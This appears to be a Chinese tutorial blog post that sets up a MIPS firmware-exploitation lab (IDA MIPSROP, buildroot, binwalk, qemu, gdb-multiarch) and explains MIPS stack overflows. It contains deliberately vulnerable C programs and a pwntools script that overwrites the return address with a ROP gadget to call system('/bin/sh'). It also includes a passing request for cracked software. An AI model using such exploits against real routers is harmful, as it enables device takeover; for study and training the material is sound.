||作者:ray
环境安装主要包括三个部分,分别是:
· 静态分析环境安装
· MIPS交叉编译环境安装
· 动态调试环境安装
· qemu模拟运行mips系统
主要是IDA,IDA的安装就不用多说了。这里说明的是辅助插件MIPSROP这些插件的安装,书里面给的插件的链接已经无法支持IDA 6.7以后的版本,主要是由于版本以后的API有更新,具体原因IDA的官方博客也给出了说明,查看了issue以后,发现有大佬已经写了能够支持IDA7.0的插件,安装的命令照着readme做即可顺利的装上。
MIPSROP的主要用法如下,文章后续用到的命令是mipsrop.stackfinders():
mipsrop.help()
mipsrop.find(instruction_string)-------------------------------------------------------------------------------
Locates all potential ROP gadgets that contain the specified instruction.mipsrop.system()-------------------------------------------------------------------------------
Prints a list of gadgets that may be used to call system().mipsrop.doubles()-------------------------------------------------------------------------------
Prints a list of all "double jump" gadgets (useful for function calls).mipsrop.stackfinders()-------------------------------------------------------------------------------
Prints a list of all gadgets that put a stack address into a register.mipsrop.tails()-------------------------------------------------------------------------------
Prints a lits of all tail call gadgets (useful for function calls).mipsrop.set_base()-------------------------------------------------------------------------------
Set base address used for displaymipsrop.summary()-------------------------------------------------------------------------------
Prints a summary of your currently marked ROP gadgets, in alphabetical order by the marked name.
To mark a location as a ROP gadget, simply mark the position in IDA (Alt+M) with any name that starts with "ROP".
另外就是反编译插件,找了下寻找到Retdec,可以用来反编译。
还有一个静态分析工具,就是jeb mips,它可以看汇编代码,同时也支持反编译,但是在官网下载的体验版的是不支持反编译功能的,同时我也搜了一些破解版也没找到能用的,如果大佬有的话,跪求。jeb mips也有rop插件,名字是PleaseROP。
buildroot是Linux平台上一个构建嵌入式Linux系统的框架。整个Buildroot是由Makefile脚本和Kconfig配置文件构成的。可以和编译Linux内核一样,通过buildroot配置,menuconfig修改,编译出一个完整的可以直接烧写到机器上运行的Linux系统软件(包含boot、kernel、rootfs以及rootfs中的各种库和应用程序)。
1. 下载buildroot
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2tar -jxvf buildroot-snapshot.tar.bz2cd buildroot
2.
3. 配置buildroot
sudo apt-get install libncurses-dev patchmake cleanmake menuconfig
4. 在出现界面后,选择第一项“Target Architecture”,改成MIPS(little endian),另外,选择“Toolchain”,务必将“Kernel Headers”的Linux版本改成你自己主机的Linux版本(因为我们编译出的MIPS交叉工具是需要在我们的主机上运行的)
5. 安装
sudo apt-get install texinfosudo apt-get install bisonsudo apt-get install flexsudo make
6. 经过约一小时,编译完成后,在buildroot文件夹下多了一个output文件夹,其中就是编译好的文件,可以在buildroot/output/host/usr/bin找到生成的交叉编译工具,编译器是该目录下的mips-linux-gcc文件。
7. 配置环境变量,使得可以直接使用命令编译文件。
gedit ~/.bashrcexport PATH=$PATH:/Your_Path/buildroot/output/host/usr/binsource ~/.bashrc
8.
9. 测试
#include<stdio.h>
int vul(char* src){
char output[20]={0};
strcpy(output,src);
printf("%s\n",output);
return 0;}
int main(int argc,char *argv[]){
if(argc<2){
printf("need more argument\n");
return 1;
}
vul(argv[1]);
return 0;}
静态编译生成二进制文件mips-linux-gcc -o hello hello.c -static,使用file查看文件类型,可以看到生成了mips的elf文件。
需要事先声明的是我安装的环境是ubuntu 16.4,一开始我是在18.4上面安装的,但是好像由于pwndbg对18.4支持不友好,导致远程调试的时候失败,换成了16.4就好了。
主要包括binwalk、qemu、pwndbg以及gdb-multidbg。
binwalk主要用于从固件镜像中提取文件。安装命令:
sudo apt-get update sudo apt-get install build-essential autoconf git
# https://github.com/devttys0/binwalk/blob/master/INSTALL.md git clone https://github.com/devttys0/binwalk.git cd binwalk
# python2.7安装 sudo python setup.py install
# python2.7手动安装依赖库 sudo apt-get install python-lzma
sudo apt-get install python-crypto
sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip sudo pip install pyqtgraph
sudo apt-get install python-pip sudo pip install capstone
# Install standard extraction utilities(必选) sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools
# Install sasquatch to extract non-standard SquashFS images(必选) sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev git clone https://github.com/devttys0/sasquatch (cd sasquatch && ./build.sh)
# Install jefferson to extract JFFS2 file systems(可选) sudo pip install cstruct git clone https://github.com/sviehb/jefferson (cd jefferson && sudo python setup.py install)
# Install ubi_reader to extract UBIFS file systems(可选) sudo apt-get install liblzo2-dev python-lzo git clone https://github.com/jrspruitt/ubi_reader (cd ubi_reader && sudo python setup.py install)
# Install yaffshiv to extract YAFFS file systems(可选) git clone https://github.com/devttys0/yaffshiv (cd yaffshiv && sudo python setup.py install)
# Install unstuff (closed source) to extract StuffIt archive files(可选)
wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv sudo cp bin/unstuff /usr/local/bin/
使用命令:
binwalk -Me firmware.bin
qemu为模拟器,主要用于模拟mips程序的运行。主要有两种模式:
1. User Mode,亦称为用户模式。qemu能启动那些为不同处理器编译的Linux程序。
2. System Mode,亦称为系统模式。qemu能够模拟整个计算机系统。
qemu使用者模式mips程序共有两种模拟程序,分别是运行大端机格式的qume-mips和小端机格式的qume-mipsel,他们的执行参数都是一样的。我主要用的是用户模式。
安装命令:
sudo apt-get install qemuapt-get install qemu binfmt-support qemu-user-static
运行:
qemu-mipsel ./hello
对于没有添加静态编译选项-static的elf文件,在运行的时候会报错,报错为:/lib/ld-uClibc.so.0: No such file or directory,原因是没有库的链接,这时我们只需要找到该库,使用qemu-mipsel -L /Your_Path/buildroot/output/target/ hello即可运行。
对于动态调试,书上推荐的是IDA远程调试,网上教程也很多,方法也比较简单,不再描述。习惯了gdb调试的我,用不习惯ida,于是在网上找到了gdb远程调试的教程。
首先是安装pwndbg,peda对于mips的动态调试没有太好的支持。pwndbg的安装命令:
git clone https://github.com/pwndbg/pwndbgcd pwndbg./setup.sh
接着是安装gdb-multiarch,安装命令:
sudo apt-get install gdb-multiarch
安装完毕后,整个远程动态调试的过程为:
1. 使用命令qemu-mipsel -g 1234 -L /Your_Path/buildroot/output/target/ hello将程序运行起来,-g 1234的意思表示为监听端口1234,用于远程调试。
2. 使用gdb-multiarch ./hello来开启gdb。
3. 进入gdb后,使用命令target remote 127.0.0.1:1234,即开始调试程序。
用gdb-multiarch调试,相较于ida远程调试来说,对于用习惯了gdb调试的人来说应该会方便不少,而且还有pwndbg的支持。
1.
获取安装依赖文件:
2.
sudo apt-get install bridge-utils uml-utilities
3.
4.
配置网卡。首先打开配置文件:
5.
sudo gedit /etc/network/interfaces
写入以下内容:
auto loiface lo inet loopback
auto ens33iface ens33 inet manualup ifconfig ens33 0.0.0.0 up
auto br0iface br0 inet dhcpbridge_ports ens33bridge_stp offbridge_maxwait 1
1. 创建QEMU的网络接口启动脚本,重启网络使配置生效。创建并编辑 /etc/qemu-ifup 文件:
sudo gedit /etc/qemu-ifup
2. 写入以下内容:
#!/bin/shecho "Executing /etc/qemu-ifup"echo "Bringing $1 for bridged mode..."sudo /sbin/ifconfig $1 0.0.0.0 promisc upecho "Adding $1 to br0..."sudo /sbin/brctl addif br0 $1sleep 3
3. 保存并赋予文件/etc/qemu-ifup可执行权限,然后重启网络使所有的配置生效。
sudo chmod a+x /etc/qemu-ifup
# 重启网络使配置生效
sudo /etc/init.d/networking restart
4.
5. QEMU的启动配置,启动桥连网络。
sudo ifdown ens33
sudo ifup br0
debian mips qemu镜像链接:https://people.debian.org/~aurel32/qemu/mips/选择 debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。启动虚拟机:
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
虚拟机启动后,可使用root/root登录进去。
可能会网络不通,此时的解决方法为:ifconfig -a 看一下发现网络接口如果为eth1,将 /etc/network/interfaces 文件中的eth0改为eth1。再用ifup eth1 将eth1启起来,运气好的话此时网络已经好了。
可在ubuntu上用SSH连接虚拟机,ssh root@虚拟机ip将之前解压的固件包拷贝到虚拟机里面:scp -r ./squashfs-root root@虚拟机ip:/root/完成搭建路由器固件运行的环境。
到这里,环境安装的部分就完成了。
这一部分主要描述MIPS中的栈溢出相关的知识,假设大家已经有一定的x86漏洞利用经验。首先是介绍MIPS汇编的一些和x86不一样的地方,其次是一个简单栈溢出漏洞的利用。
MIPS32寄存器分为两类:通用寄存器(GPR)和特殊寄存器。通用寄存器:MIPS体系结构中有32个通用寄存器,汇编程序中用$0~$31表示。也可以用名称表示,如$sp、$t1、$ra等。
编号 | 寄存器名称 | 描述 |
---|---|---|
$0 | $zero | 第0号寄存器,其值始终为0。 |
$1 | $at | 保留寄存器 |
$2-$3 | $v0-$v1 | values,保存表达式或函数返回结果 |
$4-$7 | $a0-$a3 | argument,作为函数的前四个参数 |
$8-$15 | $t0-$t7 | temporaries,供汇编程序使用的临时寄存器 |
$16-$23 | $s0-$s7 | saved values,子函数使用时需先保存原寄存器的值 |
$24-$25 | $t8-$t9 | temporaries,供汇编程序使用的临时寄存器,补充$t0-$t7。 |
$26-$27 | $k0-$k1 | 保留,中断处理函数使用 |
$28 | $gp | global pointer,全局指针 |
$29 | $sp | stack pointer,堆栈指针,指向堆栈的栈顶 |
$30 | $fp | frame pointer,保存栈指针 |
$31 | $ra | return address,返回地址 |
特殊寄存器:有3个特殊寄存器:PC(程序计数器)、HI(乘除结果高位寄存器)和LO(乘除结果低位寄存器)。在乘法时,HI保存高32位,LO保存低32位。除法时HI保存余数,LO保存商。
寻址方式:寄存器寻址、立即数寻址、寄存器相对寻址和PC相对寻址。
指令特点:
· 固定4字节指令长度。
· 内存中的数据访问(load/store)必须严格对齐。
· MIPS默认不把子函数的返回地址存放到栈中,而是存放到$ra寄存器中。
· 流水线效应。MIPS采用了高度的流水线,其中一个重要的效应时分支延迟效应。
系统调用指令:SYSCALL指令是一个软中断,系统调用号存放在$v0中,参数存放在$a0-$a3中,如果参数过多,会存放在栈中。
MIPS32架构函数调用时对堆栈的分配和使用方式与x86架构有相似之处,但又有很大的区别。区别具体体现在:
· 栈操作:与x86架构一样,都是向低地址增长的。但是没有EBP(栈底指针),进入一个函数时,需要将当前栈指针向下移动n比特,这个大小为n比特的存储空间就是此函数的栈帧存储存储区域。
· 调用:如果函数A调用函数B,调用者函数(函数A)会在自己的栈顶预留一部分空间来保存被调用者(函数B)的参数,称之为调用参数空间。
· 参数传递方式:前四个参数通过$a0-$a3传递,多余的参数会放入调用参数空间。
· 返回地址:在x86架构中,使用call命令调用函数时,会先将当前执行位置压入堆栈,MIPS的调用指令把函数的返回地址直接存入$RA寄存器而不是堆栈中。
两个概念:
· 叶子函数:当前函数不再调用其他函数。
· 非叶子函数:当前函数调用其他函数。
函数调用的过程:父函数调用子函数时,复制当前$PC的值到$RA寄存器,然后跳到子函数执行;到子函数时,子函数如果为非叶子函数,则子函数的返回地址会先存入堆栈,否则仍在$RA寄存器中;返回时,如果子函数为叶子函数,则"jr $ra"直接返回,否则先从堆栈取出再返回。
利用堆栈溢出的可行性:在非叶子函数中,可以覆盖返回地址,劫持程序执行流程;而在非叶子函数中,可通过覆盖父函数的返回地址实现漏洞利用。
在有了前面的基础后,最后再介绍一个具体的实例。
首先是源代码,是书上的一个简单栈溢出的代码:
#include <stdio.h>#include <sys/stat.h>#include <unistd.h>void do_system(int code,char *cmd){
char buf[255];
//sleep(1);
system(cmd);}
void main(){
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;
if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!n");
exit(1);
}
ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = '\x00';
if(!strcmp(buf,"adminpwd\n"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!\n");
}
fclose(fp);}
可以看到栈溢出是对于输入的长度没有进行检查,同时代码中存在一个do_system函数,只要我们构造好参数,就可以利用。
其次是编译该程序,使用下面的命令编译得到程序 stack_vuln。
mipsel-linux-gcc -static stack_vuln.c -o stack_vuln
将编译生成的程序拖到IDA里面查看,确定输入字符串长度为多少时可以覆盖到$ra,可以得到:
offset=saved_ra-buf_addr=-0x4-0x1a0=0x19c
接着是要搞清楚用什么覆盖$ra,源程序里面我们看到do_system函数,只需要布置好第二个参数寄存器$a1,同时将$ra覆盖为do_system地址即可。使用ida插件MIPSROP寻找gadget。
Python>mipsrop.stackfinders()----------------------------------------------------------------------------------------------------------------| Address | Action | Control Jump |----------------------------------------------------------------------------------------------------------------| 0x004038D0 | addiu $a1,$sp,0x58+var_40 | jr 0x58+var_4($sp) |----------------------------------------------------------------------------------------------------------------
可以看到要在$sp+0x18的位置放入/bin/sh同时在$sp+0x54的位置放入do_system函数的位置就可以得到shell。最后写出来生成passwd的脚本文件为:
from pwn import *
do_system_addr=0x400390stack_finder_addr=0x004038D0f=open("passwd","wb")data='a'*(0x1a0-4)data+=p32(stack_finder_addr)data+='a'*0x18data+='/bin/sh\x00'data=data.ljust(0x1a0+0x54,'a')data+=p32(do_system_addr)f.write(data)f.close()
可以使用gdb-multiarch调试跟踪程序的执行过程。
本文分享自 nginx遇上redis 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!